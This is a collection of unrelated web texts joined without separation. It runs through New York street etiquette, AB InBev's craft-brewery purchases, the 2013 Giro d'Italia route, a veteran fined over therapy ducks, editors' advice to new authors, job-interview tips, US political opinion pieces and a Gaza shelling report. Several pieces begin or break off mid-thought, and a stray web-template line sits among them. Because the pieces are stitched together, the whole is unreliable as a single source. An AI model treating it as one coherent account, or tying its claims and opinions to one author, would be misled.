Ultimately New York works because we all leave each other in peace. Our city's history of bloody riots every twenty years testifies to the deep reservoir of hostility that lurks just beneath the surface, ready to erupt at any time. Do not feel guilty about protecting your personal space from people trying to usurp and exploit it. Once we've lost the right to ignore each other, the streets will quickly run red with blood.
NB. At the same time, make sure you are not the aggressor in these situations. For instance, don't bring things to a painful point screaming "Hell, yeah, I support gay rights, motherfucker, you know what else I support? You getting the fuck out of my way."
NB 2. Giving recurring donations to support gay rights or the environment is a good thing! Just make sure you pick a highly rated group like The Human Rights Campaign or National Resources Defense Council, and give directly to them through their websites, which lowers their fundraising costs.
Breckenridge marks the seventh craft brewery that AB InBev has purchased in the last three years, and the third in the last week. On Dec. 21 it bought UK-based Camden Town Brewery, and on Dec. 18 it acquired Arizona-based Four Peaks Brewing.
The moves make sense for two obvious reasons: AB InBev has watched sales of its lagers decrease for 15 years. Meanwhile, the craft beer business has boomed, contributing as much as $55.7 billion to the US economy in 2014, according to the Brewers Association. Buying up successful craft breweries allows the company to diversify its offerings and tap into a strong consumer trend.
But there’s a third reason AB InBev stands to gain: by getting more control of beer distribution networks.
Think of it from a distributor’s perspective. If a distributor is making good money working with craft brewers, there’s less incentive to carry AB InBev’s beers, some of which are on the decline. But if AB InBev buys up the craft breweries, distributors may find themselves in a position in which they have to take on more AB InBev products.
The company also recently rolled out a new program for distributors, giving them a financial incentive to focus primarily on AB InBev products. Under the program, AB InBev will reimburse distributors for marketing expenses based on the amount of AB InBev product they distribute. Ricardo Melo, the company’s vice president of sales strategy, told The Wall Street Journal the plan will improve AB InBev offerings for consumers and better equip wholesalers to compete.
This could become a concerning situation for craft breweries looking to make headway in a market already rich in consumer choices. If distributors have a disincentive to push non-AB InBev products, it could limit a small-time brewer’s chance to gain a foothold in the local market.
In many markets there’s only one distributor
It doesn’t help that the number of beer distributors—excluding the very small brewers who’ve acquired self-distribution licenses—have been decreasing for the last two decades, typically through consolidation, said Bart Watson, chief economist for The Brewers Association.
The AB InBev incentives program puzzled some people, including the National Beer Wholesalers Association, which represents distributors. That group said it understands why AB InBev would want to buy up a successful brewery, but said the roll-out of the incentive program left a lot of people scratching their heads, especially in light of AB InBev’s impending mega-merger with SABMiller, which is subject to an anti-trust review. A lot of questions remain about whether smaller operations will be edged out of the market, or never given the chance to compete at all.
Col du Galibier summit finish confirmed for 2013 Giro d'Italia
Video: Giro d'Italia 2013 video teaser
The Tre Cime di Lavaredo to decide the 2013 Giro d'Italia
Nibali says Giro could be a good choice for Wiggins
The 96th edition of the Corsa Rosa will cover 3405km, starting in Naples with a 156km road race stage on Saturday May 4 and ending on Sunday May 26 in Brescia, with a final road stage and five laps of a city centre circuit. The average stage distance is down to 162.2km a day.
The route is finely balanced with seven mountain finishes but also a 17.4km team time trial on the island of Ischia on stage 2, a 55.5km individual time trial from Gabicce Mare to Saltara on stage 8 and a 19.4km mountain time trial on stage 18.
"Our guiding line is that the great champions must be respected, and every champion must be given space to express himself. I think that we’ve put together a very balanced route," said race director Michele Acquarone.
A very Italian race
After the 2012 Giro d'Italia started in Denmark, the 2013 race will have a very Italian feel, with the first week in the south of the country and the final mountain stages in the Dolomites. The race only leaves Italy for the already announced finish atop the Galibier in France, and the rest day and start of stage 16 in the Valloire ski resort.
The opening stage in the centre of Naples will cover 10 laps of a circuit before a quick ferry trip to Ischia for the technically testing team time trial. The route heads south via the spectacular Amalfi coast to the toe of the Italian peninsular.
The first mountain finish comes early, on stage three, with the 10km climb of Croce Ferrata ending just six kilometres from the finish of the 244km stage to Serra San Bruno.
Opportunities for the sprinters appear limited with uphill finishes or late climbs on the stages to Marina di Ascea, Matera, Pescara, Florence, Cherasco, Ivrea and Vicenza. Mark Cavendish was at the presentation in Milan but only the finishes in Margherita di Savoia and Treviso seem designed for the sprinters.
The 55.5km time trial will be a turning point in the race but is not totally suited to the specialists; it twists and turns through the Monte San Bartolo natural park and then climbs up to the finish in Saltara. However more than of hour of racing against the clock could see some contenders lose several minutes that they may struggle to make up in the mountains.
Use this on all articles. The player is narrow enough to fit next to the article gallery images box on the right.
Three blocks of mountains
The mountain stages come in three blocks with a visit to the Friuli region in the north-east preceding the ride west to the Galibier and the final stages in the Dolomites.
Alberto Contador, who won the race in 2008, said: "A lot of the tough climbs come a long way from the finish, which might encourage attacks from distance."
Stage 10 finishes on the Altopiano del Montasio after a n11km climb at an average of 8.1%, while stage 14 finishes in the Italian Alps on the Jafferau climb above Bardonecchia. It is only 7.2km long but has a 9% gradient. The following day's Galibier stages is just 150km long but includes the Col di Mont Cenis (2095m) and the Col du Télégraphe (1556m) before the 18km climb to the summit finish at 2642m.
Surprisingly, the Galibier is not the highest climb of the 2013 Giro and so will not award the Cima Coppi prize. That honour goes to the Passo dello Stelvio (2758m) during stage 19, with the riders also facing the legendary Passo di Gavia and the 22km climb to the finish at Val Martello. All in just 138km of racing.
"Someone was saying it would be an easier Giro this year, but I don’t see it. It looks amazing, I’m ready to start preparing already," said defending champion Ryder Hesjedal.
The 202km stage to Tre Cime di Lavaredo is also packed with peaks, including the Costalunga, San Pellegrino, Giau and Tre Croci before the climb to the finish at Tre Cime di Lavaredo. The winner of the maglia rosa will be crowned in the shadows of the spectacular Dolomite peaks before the final parade stage in Brescia brings down the curtain on the 2013 race.
Pandora’s goal, its CTO Tom Conrad told me earlier this week, is to become as ubiquitous as radio is today. In the last few years, Pandora has focused strongly on getting into more cars (it now has partnerships with 23 automotive brands and is available in 90 different car models) and other platforms. About a third of radio listening happens in the home, however, so to drive a path to this goal, the company has to figure out how it can become just as ubiquitous on the large screens that now dominate our living rooms.
Already, more than 10 million people have listened to Pandora on their TVs and through TV set-top boxes, but as Conrad noted, to get this to work, the team had to create custom implementations for all of the TVs, set-top boxes and Blu-ray players it supports (or give up control and allow the OEMs to create their own experiences). This fragmentation makes it hard for Pandora to quickly innovate and add new features to these platforms, which are often tightly controlled by the OEMs. The hope here, of course, is that more of these platforms will switch to standards-based interfaces over the long run.
“The world doesn’t need more proprietary platforms fragmenting the innovative efforts of developers everywhere,” Conrad says in a blog post today. A browser-based version, then, gives the company full control over the experience, and, thanks to a smart implementation of this system, users can still control the experience with their regular remote controls. This new “10-foot” interface will also allow users to thumb-up and thumb-down tracks, as well as to play, pause and skip songs just like in Pandora’s other apps.
Darin Welker, 36, of West Lafayette, Ohio, was found guilty of violating a city ordinance prohibiting citizens from keeping ducks within city limits Oct. 29, 2014, in Coshocton County Municipal Court. (Photo11: Shane Flanigan, The Coshocton (Ohio) Tribune)
COSHOCTON, Ohio — A veteran who was cited for keeping ducks within village limits was found guilty Wednesday.
Darin Welker, 36, was fined $50 for violating the county's ordinance by keeping 14 ducks in his backyard. Welker said the ducks help him cope with post traumatic stress disorder and depression he developed after serving a year in Iraq with the Army National Guard in 2005.
Prosecuting Attorney James Skelton made the argument in court that the case was cut and dry. The relevant ordinance, Skelton told Coshocton County Municipal Court Judge Timothy France, clearly states that no farm animals, including ducks, may be kept within village limits and no federal law exists that trumps it.
"The ordinance says there are no ducks, then there are no ducks," Skelton told Judge France. "Your hands are tied."
Welker was cited for the minor misdemeanor in June. Since then, the case has developed into a clash between local government officials trying to maintain the letter of the law and an Army veteran trying to heal from mental and physical wounds.
After Welker pleaded not guilty to the charge, his attorney, Bob Weir, filed an affirmative defense, meaning that the facts concerning Welker's situation should be enough to excuse what is otherwise illegal conduct.
Testifying on Wednesday, Welker's wife, Shirley Wagner, argued that since the ducks are registered with a national service registry as emotional support animals, and since no neighbors have personally complained to them, they should be permitted.
But that was not enough to sway France; though he said he liked the idea, he said there are reasons for the law, and "they make sense."
“It really helped boost his spirits. He laughs easier; he's happier.” Shirley Wagner, Welker's wife
He advised Welker to talk with Weir about what to do with the ducks at this point.
Welker has given away eight of the ducks within the past couple of weeks because they were too much to handle, but he still has six that he keeps in a fenced-off portion of his yard, he testified in court Wednesday.
Though the village recently amended the law to allow therapy pets into the village, that amendment comes with limitations that Welker still does not meet, said Village Solicitor Bill Owens.
Whereas the previous law made no mention of therapy pets, the alterations allow for two therapy pets per household with written documentation from a medical provider and approval from village council. Passed in September, that law went into effect in October.
"The new ordinance tries to balance the needs of the community as well as the need of somebody who may legitimately be in need of a therapy animal," Owens said. "So they decided that two was enough."
There was also talk that Welker might be able to annex his property from the village, but that plan was scrapped after it was determined that an alley behind his house that the city maintains makes it unfeasible Owens said.
Welker declined to comment Wednesday.
Weir said he is unsure what Welker plans to do next, and whether he plans to keep the ducks.
Since he can't annex from the village, it would seem his only other legal solution besides giving the ducks away is to move, as Skelton pointed out during the hearing.
Wagner said she has seen a noticeable change in her husband's outlook since he's had the ducks. He's taking less medication, and requires fewer visits to their psychiatrist at the VA outpatient clinic in Zanesville, she added.
"It really helped boost his spirits," she testified. "He laughs easier; he's happier."
Welker served in the National Guard between 2004 and 2008 before he was medically discharged. He spent a year in Iraq as part of Operation Iraqi Freedom, where he did ground vehicle maintenance.
His ducks, which he has raised since March as ducklings, and which all have names, help him to keep a "baseline," he testified. They give him something to take care of, and help him to maintain a calm environment, he said.
"They've been in the house, they sit on the recliner, they've been on the mower," he said in court. "They just love to be held."
No Joke. You Need to Hire an Editor. I thought my manuscript was pretty “tight” but you can see the lovely markup of some of my mistakes and my own editors comments below:
Since professional book editors see so many manuscripts, I thought it would be fun and educational for authors to see the answer to this burning question:
What is the #1 mistake that you see first-time authors make?” So I posed that exact question to some of the most highly recommended editors out there. Below, you can see their responses, with links back to their websites. Side Note: I have found that editors are extremely thoughtful and helpful, with your best interests at heart. So, it was no surprise that over half of the editors I asked were gracious enough to take part in this “survey…”😀 Side Side Note: Check this post out for more about picking an editor… Thelma Mariano: Most first-time novelists underestimate the amount of work required to bring their completed draft to a publishable level. This leads to what I believe is the #1 problem with early manuscripts: a lack of story tension. If we lack a “story-worthy” problem, something strong enough to pull a reader through hundreds of pages, needing to know what happens next, no amount of editing will make it better. What are the stakes? In most cases, our protagonists must confront whatever they FEAR the most to attain what is MOST IMPORTANT to them. Unlike real life, where we long for everything to go smoothly, readers want a build-up of conflict and tension in their fiction. A story without adequate tension is flat and boring. It isn’t enough to start with a “hook.” We must ask ourselves in every scene or chapter: how can I make the reader tense? Or arouse his or her curiosity? What helps: inserting deadlines/time pressure, characters at cross purposes with each other, confrontational dialogue and LOTS of obstacles or setbacks to our hero’s or heroine’s goals. Sometimes new authors give their characters inner conflicts (e.g. a traumatic past or flawed beliefs) but leave out the external conflicts that move the story forward. We really need both. Reading fiction is above all an emotional experience. First-time authors often drop the “emotional thread” that runs through their scenes by omitting the characters’ reactions to events. This is like tossing a small boulder into a bottomless well … you’re WAITING for it, but never hear the splash! We DO get attached to our characters and storylines, which is why we need to step back from early drafts, get constructive feedback, and then rebuild the novel in a way that allows it to reach its full dramatic potential. This means narrating those parts that lack drama and expanding/slowing down the most compelling scenes so that readers can experience them moment by moment. I have learned to be ruthless in my own work, cutting out whatever is non-essential, because doing what’s BEST for the story is what it’s all about! Chantel Hamilton: The biggest mistake first-time authors make is following someone else’s advice about how to write a book. The internet has made us think that there’s a single formula, process, or “10-step proven path” to getting from here to published book, and it’s just not true. Every author’s writing process is different and valid. It is only from the struggle, determination, and, yes, chaos of trying to find your way as an author that a truly unique book emerges. You can do it, and it’s worth it. Roz Morris:
First-time authors have a huge learning curve. They have to get an idea that’s big enough to last through an entire book. Then they’ve got to figure out how to write it, and withstand the periods where they’re frustrated or disappointed that it’s not working the way they imagined. Then they have to suss out the publishing world, which is an entire professional ecosystem with plenty of predators who are looking to profit from the naive novice. First-time authors have a huge learning curve. They have to get an idea that’s big enough to last through an entire book. Then they’ve got to figure out how to write it, and withstand the periods where they’re frustrated or disappointed that it’s not working the way they imagined. Then they have to suss out the publishing world, which is an entire professional ecosystem with plenty of predators who are looking to profit from the naive novice. Does that look like a lot to learn? Indeed it is. So my #1 piece of advice is this: don’t rush. I see so many writers who are in too much of a hurry. They worry they’re spending too long on a manuscript. But most established writers spent years learning their craft. You will too. First-time writers are in a huge hurry to get their book in front of an audience. But established writers will show their manuscript to a few trusted insiders, then will go back and edit and refine again. First-time writers are also desperate to get their book officially in print, either on pages or in ebook form. Again, in the real world, publishing takes time. Although we have tools that can get a book out in a matter of hours, there are many phases a manuscript should go through before it’s ready for the public – developmental editing, rewrites, copy editing, proofing, design. Yes, professional writers go through this. And they have a team behind them; they don’t do it by themselves. And first-time writers are often persuaded to spend money where they shouldn’t, and to economise when that’s not wise. Learn when it’s good to pay for things (such as good developmental edits or cover design) and where you’re not using your money well (such as services that are overpriced or marketing campaigns that are unsuitable for your needs). In a nutshell, my advice is this: learn where you should slow down. It’s not a race. Once your book is out, it will be available for years and years. Take the proper time so that you’re proud of it and you’re happy about the way you published. Roz’s Writing Blog Katharine D’Souza: A common mistake I see from new authors is ‘throat clearing’ – not getting into the story from chapter one, but instead setting the scene and spending too much time on back story. It is useful for the reader to see the ‘normal world’ of the story, but you also need to grip them and convince them you have a story they need to read.
Debra Hartmann: The #1 mistake first time authors make: Staying so personally invested in their manuscript that they don’t let it grow up to be the best book it can be. Publishing without proper planning and preparation, holding onto words their editor advises them to let go of, ignoring advice from designers and marketing consultants. Personal attachment is self-sabotaging because it doesn’t consider the buyer’s needs, and if those aren’t met, either no sale will be made or the sale will result in a bad review. It’s very natural for an author to feel attached to their material so that they can’t always make objective decisions, and new authors have no experience in the business of publishing. There is nothing wrong with that being the case, only with not doing anything productive about it. Realizing weak spots and turning them into strengths is part of what makes any business successful. The moment an author seeks an editor, they are stepping beyond the personal experience of writing to invest in creating a product—manuscripts are personal, books are business. The target market’s needs have to be met or investments of time and money will be for nothing more than personal satisfaction. Find experienced professionals to advise you, selecting pros who take a teaching approach instead of treating your questions like time wasters, and then trust them. Learn everything you can and let their fresh, non-biased, business focus guide you through decisions you may stick on just because you’re too close to it. And don’t pick at the answers you get because they conflict with your personal perspective—be open to learning so you can develop a savvy business perspective and solid foundation of experience without making bad impressions on the marketplace that can never be taken back. Sue Copsey: Wordiness. A publisher will spot this immediately, and it’ll mean instant rejection. The good news is, it’s easy to rectify. When you’re editing, look out for junk words. My main targets as an editor are: very, really, just, so, anyway, actually, that, basically, literally, some, all, both. Also, ask yourself if that adverb is necessary (e.g. ‘He jumped up excitedly, a big grin on his face.’ We know he’s excited because he jumped up and he’s grinning.) I recommend doing a search of your m/s for junk words, and for each instance, ask yourself if the sentence would work as well without it. Nine times out of ten it will. A rather extreme example: Basically, I just wish that all authors, both new and experienced, would actually spend some time really familiarising themselves with the basic mistakes that all writers make, so that their writing can be very tight and literally make better sense. Instead: I wish authors, new and experienced, would spend time familiarizing themselves with the basic mistakes writers make, so their writing can be tight and make better sense. Judith Henstra: Some first-time authors come to us for a copy edit only (grammar, spelling, punctuation, etc.), when in fact, they could use a developmental edit. This is an edit where we give feedback on the storyline, the characters, the writing style, etc. and help them make the story even more engaging for the reader. Even well-known authors get feedback from their editors to improve their story, so it’s not a luxury, as some people seem to think. C.S.Lakin: They rush to publish without taking enough time to
master the skills of the craft and practice until they can competently
write a book. Mikaela Pederson: The number one mistake I see first-time authors make is hiring an inexperienced editor simply for the low price. Self-published authors—especially first-timers—tend to struggle with the idea of paying high prices for editing and book covers. Just like a cover, though, readers really will judge a book by the quality of its editing. I can’t tell you how many of my now-loyal clients came to me with the same story: they painstakingly wrote their first book, hired a cheap editor to look it over, published it, and got absolutely slaughtered by reviewers for the many remaining errors. They then did some research to find a reputable editor, came to terms with the idea of spending more money, and contacted me to help them fix their manuscript. They learned the hard way, but that doesn’t mean other new authors have to. Good editing, just like an eye-catching cover, is an investment in the success of a book and can make or break an author’s budding career. Luckily, in writing, just as in life, we can correct our mistakes and nearly always come out the other side all the better for it.
Linda Yezak: Number 1 mistake: Thinking that typing “the end” means they’re ready to publish. Oh, no, little grasshoppers. That’s just the beginning of the blood, sweat, and tears.
Lorraine Reguly: The biggest mistake I see new authors make is that they do not invest in professional editing. As a result, their books contain grammatical and other errors, and readers are not impressed with the poor quality of their writing.
Over-reliance on was and other forms of be grinds my edits to a halt. Most of the time another verb could be used instead, but I’m not supposed to be the one finding it. Sure, I’ll spot a form of be, toss in a suggestion to replace it, and move along. If, however, verb selection murders my pace, I soon become frustrated. Not only am I overstepping the bounds of editing into the realm of writing, but also I’m exhausting my mental resources trying to determine what the author meant. I will return a manuscript unedited when the document requires more work than I can complete in a month. This is a rare event, but when it happens, repetition of was usually tops my list of things that need to be fixed. The discussion of verb selection then leads into passive voice and show versus tell. That’s why I consider was the number one mistake: it contributes to the two most common problems in fiction.
As an editor, I think most people would assume I’d say the number one mistake first-time authors make is not editing before they publish. And it is a mistake I see here and there, but I wouldn’t say it’s the number one, or most common. What I think is even more important than editing alone, is presenting a book in the most professional way from the start. For a first-time indie author, it’s important that you put your best foot forward with your first book. This is your entrance on the scene. This is what you are building your reader base from. It’s where you’ll say, “Hey. I’m here. I have something worth reading.” Don’t give readers an easy excuse to not take a chance on your or buy your book. Invest time, money, and effort in the writing, editing, formatting, and designing a cover for your book. Because if you aren’t willing to invest in your book, who will?
More and more I’m noticing what I can only describe as an obsession for minutiae. More and more I’m noticing what I can only describe as an obsession for minutiae. This is as well-intentioned as it can be. After all, no one starts a book thinking: I hope this romance novel will be really difficult to get into and virtually impossible to track. Just the opposite is true, but then a strange desire to impress with your research, or some subconscious feeling that your readers have nothing to bring to the table, takes hold and here comes the details! If it slows the pace of your story, your research is the opposite of impressive. And reading itself is a creative act that details destroy. The best writing allows room for readers to explore the experience on their own. But in my experience with first-time authors, instead we’re treated to exhaustive detail, including things like a character’s precise height, weight, eye and hair color, and other components of a lovingly over-detailed physical description. All of this is almost always entirely unnecessary. Though it may help you, as you’re writing, to more or less “cast” your story, you want to actually convey as little of that to your readers as possible. Let them see themselves in the hero and their boss or their least favorite teacher or some politician as the villain. Let them cast their own favorite actors. This is true for setting as well. Though the old advice “write what you know” was well-meaning it’s oh so often hopelessly over-applied. Setting your mystery, romance, or horror novel in your real home town is perfectly fine. Breathe the life of that place into your story, show us what it feels like to be there—but save the turn-by-turn driving directions to Google Maps. And likewise, if you and your hero share an occupation or hobby, that’s fine too, but make a choice early on whether you want to write a non-fiction book about, say, life as a dentist or a guide for model train collectors or you want to write a novel that includes those things. The more detail you pour into the hero’s dental practice or train collection the farther you push your readers, who likely share neither of those interests, away. Finding the balance between too much and too little detail isn’t easy. First, listen to yourself. If you’re thinking, Is this too much? it probably is! Then listen to a trusted first reader, preferably someone who doesn’t share your occupation, home town, etc., and ask, “Is this too much?” If that reader says “Yes, it is,” listen—but also look for clues that your first reader is just being polite. You’ll see it—you might not like it, but you’ll see it—on his or her face. Then sit down and calmly “kill your darlings.” Readability always trumps detail. Always.
While I had heard some previous references to this ongoing project, I never fully realized the scope and scale of it until the past week or two. There are over 600 miles of streets in Lansing, so her saunter will be continuing over an extended period of time. Instead of me trying to express the spirit of her grand crusade, here’s the summary Ariniko provided on her terrific blog found on wordpress.com.
“This blog will be one of 3 places that I collect, deliver and communicate information collected while traveling all the streets of Lansing, MI. My goals are to walk every street in the city of Lansing, MI. I also hope to patronize as many local businesses as I possibly can. By doing this I can also offer media attention, publicity, and support to Lansing small businesses. I also hope to draw attention to the Lansing area. My desire is to use this adventure to bring to light all the hidden gems of Lansing. As a photographer I am also interested in finding great places to use as background for photo shoots. I hope to really capture the many intricacies of Lansing. Finally I will assist in the sidewalks alert project for Walk and Bike Lansing group.”
Also, here is the list of Ariniko’s goals for her City Saunter project:
“Walk every street in Lansing, MI
Patronize Lansing Businesses; especially smaller businesses
Promote the city of Lansing, MI
Assist in sidewalk alerts for Walk & Bike Lansing
Advertise with apparel from Sponsors
Use walking for possible fundraisers
Scope out photographic gems
Promote Ariniko Artistry
Create photo/video journal of walks”
I cannot think of a better (or more fascinating) way to reveal the very heart and soul of a city than to wander, saunter, walk, stroll, or bike it completely at ground level. I especially like the patronizing of small businesses along the way.
Maps, aerial photographs, post cards, books, and passing through in a motor vehicle cannot reveal the diverse myriad of sights, sounds, aromas, views, vistas, and visual splendors of a place like taking it in on a personal level and at a human scale. For one to fully understand the unique complexities and characteristics of a certain place, the city must be experienced and absorbed, not just sampled. Here’s a weblink to photos some of her favorite sights she a come across thus far on her journeys in Lansing.
Congratulations and kudos to Ariniko for publishing a superb blog and for following her dreams to a create personal project that reflects the distinctive charms and hidden gems of Lansing to all. It is amazing how a place can grow on you over time, and Greater Lansing certainly does that. I only wish I had thought of the idea of such a creative and informative method for expressing it to others.
It was huge for Mirantis and for the open source OpenStack project. VW knew it wanted to run a private cloud on OpenStack. The only question was the vendor. After a call for requests for proposals it came down to two: Mirantis and Red Hat.
The project is massive involving dozens of data centers and tens of thousands of nodes, according to Boris Renski, CMO and co-founder at Mirantis.
VW decided to take the private cloud route because it saw a couple of problems with public cloud offerings including a lack of features it specifically needed for its use cases, Mario Mueller, corporate director of IT operational services and infrastructure technologies at Volkswagen Group told TechCrunch.
“Given the scale of our use case, we knew we [would] need to have a private cloud at some point. We also knew that private cloud would require more work. As we pursue digital transformation at VW group, we aim to tackle the hard problems first. Public clouds today feature a broad range of infrastructure services and go horizontal across all industries, because of that when it comes to large-scale vertical use cases (like automotive cloud for VW Group) the economics don’t work as well,” Mueller explained.
VW put its finalists, Red Hat and Mirantis through their paces with 63 small pilots and use cases they had to solve on the fly at VW headquarters working in groups in separate rooms throughout the process.
“It was an extremely rigorous process. We had two weeks to complete all of the tasks and a week to present them to the VW team,” Mirantis VP of worldwide sales Marque Teegardin said. VW judged the two vendors purely on technical merit based on how well they solved each task based on VW’s technical requirements.
In the end, Mirantis scored highest and won the project. When asked if such a large project might be a strain on a startup, Renski pointed out while it was a big accomplishment it wasn’t the first large customer implementation it’s pulled off as a company. Other enterprise customers include AT&T (which has Mirantis running in 74 data centers), Ericsson and GAP.
As for Red Hat, when asked for a comment, Margaret Dawson, head of global product marketing for cloud solutions at Red Hat took the high road, preferring not to address this specific deal directly.
“Overall, we want OpenStack to win as the private cloud infrastructure of choice for telco, enterprise and government. This is a huge market, with 451 Research forecasting OpenStack to be a $2.5B opportunity by 2017, so we welcome and need a healthy OpenStack market ecosystem,” she told TechCrunch in an email.
OpenStack, the open source private cloud project created in 2010 by NASA, Rackspace and others as a check against AWS’s growing power, has spawned a slew of startups and attention from the world’s biggest companies from Red Hat to IBM to HP to Oracle among others. While many early startups have been sold or even gone out of business in one high profile case, Mirantis is hanging in and securing wins against the some of the biggest traditional IT vendors.
But it’s not.
Always be aware that although the interview may be informal and “friendly“, all of the questions are designed to answer three important issues:
1. Can you do the job?
2. Will you do the work?
3. Will you get along with all the people in the department (and will you fit in with that particular corporate structure)?
Also bear in mind that your answers will have more than a simple meaning.
For example, I have a brother who has been self-employed for several years now. He’s been on a round of interviews, seeking a return to the world of 9-to-5 employment (a reluctant return, for he loves what he does-independent auto dealing-but due to the economy…..).
At one point, the manager asked my brother what he misses about self-employment.
He replied “My freedom“.
I don’t know yet if my brother got the position. I know he was being totally truthful, but I’m worried about that particular response.
The manager may hear something different: “Uh oh, if I hire this guy and spend months training him, will he leave for ‘greener pastures’ once the auto industry picks up? Will he leave if he feels like he’s on a tight leash?”
I would have said: “I miss the daily challenges and goals I set for myself. I’ve researched your company, and have found that this position will enable me to continue those high expectations. I’ve had the extra benefit of working as part of a team and I can also work independently to get my share of the work done.”
Now all interviews are different and each one has a different style, but here are a few routine questions (with a suggested answer; you can also do your own variation) you can expect:
“Tell me a little about yourself“-Talk about your work experiences, accomplishments and job qualifications -not your childhood, family or hobbies.
“Why do you want to work as a…?”-Talk about the interesting details of the job and why they fascinate you. Do some research.
“Tell me about my company” or “What do you know about our company?”-Do research! Before you go on the interview, visit the company’s web site or call the Chamber of Commerce.
“How long do you plan to work here?”-You can say “A long time. This is the job I’ve been hoping for“.
“Do you plan to continue your education?“-Yes, because adding to your education conveys that you want to grow and prosper, professionally as well as personally.
“What do you plan to be doing work-wise five years from now?”-Figure the promotions you should get if you work hard for the company over the next five years. Tell the manager you plan to be working for him or her in that position.
“What major problem have you faced and how did you resolve it?”-Think of something related to work, school, civic or leisure activities. Tell it as a story and include a few details . The manager wants to see how you (1) define problems, (2) identify options, (3) decide on as a solution, (4) handle obstacles and (5) solve the problem.
“What is your greatest weakness?”-Never give character weaknesses. Focus on work and turn this into a positive. Say “I tend to be a workaholic. I like to stay and get caught up on the odds and ends before I go home at night.”
Remember to keep your answers short (the average American listens for 28 seconds before getting distracted.
The manager will most likely ask “Do you have any questions for me?” You can say “Yes, thank you. I do“.
And here’s a few for you to ask:
1. Would you describe a typical work day and the things I’d be doing?
2. Would I need any training?
3. Who are the people I’d be working with and what do they do?
4. Could you give a brief tour?
5. If hired, would I report directly to you or to someone else?
6. Which duties are most important to this position?
7. I want this job. Would you consider hiring me on a 30-day trial period-to prove myself?
In examining the Donald Trump phenomenon, it is hard to tell whether the presidential candidate’s bigoted and outrageous rhetoric is the symptom or the disease. Who can possibly support a candidate with such outrageous comments, and such terrible ideas? Thanks to a recent Public Policy Polling (PPP) South Carolina poll, we get a picture of some of these supporters, and frankly, it’s shocking.
As PPP itself noted: “Trump’s support in South Carolina is built on a base of voters among whom religious and racial intolerance pervades.”
No kidding. Among beliefs that really jump out:
38% say they wish the South had won the Civil War, while only 24% are glad the North won and 38% aren’t sure.
70% think the Confederate flag should still be flying over the State Capital.
80/9 support his proposed ban on Muslims entering the United States.
62/23 support creating a national database of Muslims
40/36 support for shutting down all the mosques in the United States, something no one else’s voters back.
33% of Trump voters think the practice of Islam should be illegal in the United States
32% of Trump voters continue to believe the policy of Japanese internment during World War II was a good one
31% would support a ban on homosexuals entering the United States
On Tuesday afternoon, an Israeli tank fired at a family playing football outside their home in the eastern part of the Ash-Shaja’iya neighborhood in Gaza City.
The Israeli military said it regretted harm to innocent civilians, but blamed Hamas, who it said operated in civilian areas.
In a statement issued by his spokesman, Serry condemned the attack and expressed concern at the escalating situation in Gaza and southern Israel.
"Serry condemns the killing of three Palestinian children and their uncle and the wounding of thirteen other civilians by an Israeli tank shell in the Gaza Strip earlier today," the statement said.
"Israeli firing into densely populated areas is extremely dangerous and appalling incidents such as today's raise serious questions."
The Special Coordinator also condemned the sharp escalation in rocket fire from Gaza, which he said endangered Israeli civilians.
Gaza militants have launched a barrage of projectiles at Israeli forces operating in the coastal enclave and across the border.
An Israeli military spokeswoman said two Israeli civilians were lightly injured by mortar fire from Gaza on Saturday.
The Economist’s choice turned to two questions: how good of a president has Obama been, especially on the main issues of the economy and foreign policy? And can America really trust Mitt Romney to do a better job?
The magazine said in a press release today that while Obama’s shortcomings are many, Republican challenger Romney has changed his position too often on policy matters.
Romney has over the last month changed his stance on health care and foreign policy issues in a likely move to placate party right wingers.
The Economist said it would have chosen Romney if he had maintained his positions from the first debate, or promoted himself as the Romney that ran Massachusetts in a bipartisan way. Even then, however, Massachusetts is a solid Democratic state, with very few Republicans in the state Congress on Beacon Hill. There is not a whole lot of partisan bickering in the golden domed State House of Massachusetts.
The problem for the magazine was that there were too many versions of Romney—and, as they have outlined -- those versions come with a lot of dangerous ideas, including:
Foreign Policy: On foreign policy matters, Romney seems too ready to bomb Iran and he has vowed to label China a currency manipulator, something the U.S. Treasury Department has said China is not.
Government Spending: Although he would slash red tape on the domestic front, Romney said he wants to start with huge tax cuts yet again and dramatically increase defense spending. With what revenues? Magazine editors said, "He is still in the cloud-cuckoo-land of thinking that America’s finances can be dealt with entirely through spending cuts. Backing business is important, but getting the macroeconomics right matters far more."
Economy: Romney has an economic plan that works only if you don’t believe most of what he says.
Doh!
Despite his shortcomings, President Obama has dragged America’s economy back from the brink of disaster and avoided a double dip recession. Obama has made for a more decent foreign policy, the magazine editors said in the press release.
Gone are the days of color coded terror alerts and committing large swaths of U.S. troops to participate in grudge match wars, like Iraq under George W. Bush, for example.
Lastly, and according to The Economist, “this newspaper would stick with the devil it knows, and re-elect him.”
The full endorsement will be available in the November 3rd issue of the magazine.
For the past 3½ years, Virginia has been engaged in a discussion about joining the 31 states that accepted federal funding to expand Medicaid and offer more citizens access to quality health care.
If you are a taxpayer in Virginia, Republicans in Richmond have so far blocked your federal tax dollars from coming home, even as you have been paying for Medicaid expansion in West Virginia, Maryland and the District. They have offered a range of excuses, which, as the Affordable Care Act has been implemented, have all proved empty. The result is that Virginia has been prevented from reaping the benefits even as Virginians haven’t saved a dime in taxes.
Now, after President Trump and Republicans in Congress have failed to repeal the ACA and demonstrated clearly that Medicaid expansion will continue to benefit the states that accept it, the time for excuses is over.
On Wednesday, Republicans in Richmond will consider a budget proposal I have submitted to expand Virginia’s Medicaid program. Accepting it would be a victory for Virginia’s families, economy and health-care system.
If Republicans accept my amendment, we can expand health-care coverage to as many as 400,000 Virginians who are just one accident or illness away from financial ruin or death.
We can create 30,000 jobs.
We can save our state budget more than $73 million per year.
We can invest nearly $300 million to improve Virginia’s behavioral-health system and combat the opioid epidemic that is ravaging communities all over the country.
And we can throw a lifeline to hospitals, particularly in rural communities, that are struggling to stay afloat because of declining federal support for offsetting the care they offer to patients who can’t afford to pay.
These benefits are awaiting Virginia if we expand Medicaid. In fact, we already are paying for them. Since the ACA became law, Virginia taxpayers have left more than $10 billion on the table that could have been spent covering our friends and neighbors and creating jobs. Every day we wait, we waste another $6.6 million.
Virginia Republicans have offered a litany of excuses for not accepting these benefits. First there was the concern that the commonwealth could not afford the 10 percent portion of the cost of expansion in order to get the federal government to cover the other 90 percent. That concern was alleviated when Virginia’s hospitals offered to cover the state’s share — allowing them (and Virginia taxpayers) to bring the benefits of expansion home with zero risk or obligation to the commonwealth’s budget.
